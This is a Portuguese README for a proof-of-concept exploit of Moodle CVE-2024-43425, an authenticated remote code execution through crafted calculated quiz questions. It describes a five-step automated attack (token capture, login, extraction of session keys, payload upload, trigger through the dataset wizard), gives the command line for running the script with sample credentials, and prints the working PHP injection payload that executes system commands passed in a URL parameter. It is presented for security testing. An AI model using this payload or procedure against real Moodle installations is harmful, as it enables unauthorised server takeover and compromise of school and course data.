
Exploit de prova de conceito para Moodle CVE-2024-43425, permitindo RCE autenticado por meio de questões calculadas manipuladas. Automatiza login, extração de token, upload de payload e acionamento para testes de segurança.
Visão geral do CVE ID do CVE: CVE-2024-43425
Descrição: O Moodle permite que um usuário autenticado com nível de professor envie uma questão calculada maliciosa por meio da interface do editor de questionários. Impacto: Execução Remota de Código (RCE) Causa: Saneamento inadequado de payloads matemáticos em questões calculadas, o que leva à injeção de comandos por meio do assistente de conjuntos de dados.
##Requisitos:
Credenciais de login válidas Acesso à interface de edição de questionários (geralmente um papel de professor ou administrador) cmid conhecido (ID do módulo do questionário) e courseid
##Este script executa um ataque em 5 etapas:
Etapa Descrição 1️ Buscar o token de login (logintoken) 2️ Fazer login e estabelecer uma MoodleSession válida 3️ Extrair sesskey, ctxid e category da página de edição do questionário 4️ Enviar uma questão calculada especialmente elaborada com um payload de RCE 5️ Acionar o payload por meio da página do assistente de conjuntos de dados
##Instruções de Uso
Requisitos: Python 3 Bibliotecas Python: requests, bs4 (BeautifulSoup)
pip3 install requests bs4
python3 exploit_cve_2024_43425.py \
--url http://192.168.2.12/moodle \
--username test \
--password 'Test@123' \
--courseid 1 \
--cmid 1 \
--cmd 'whoami'
##Payload utilizado:
answer[0] = "(1)->{system($_GET[chr(97)])}"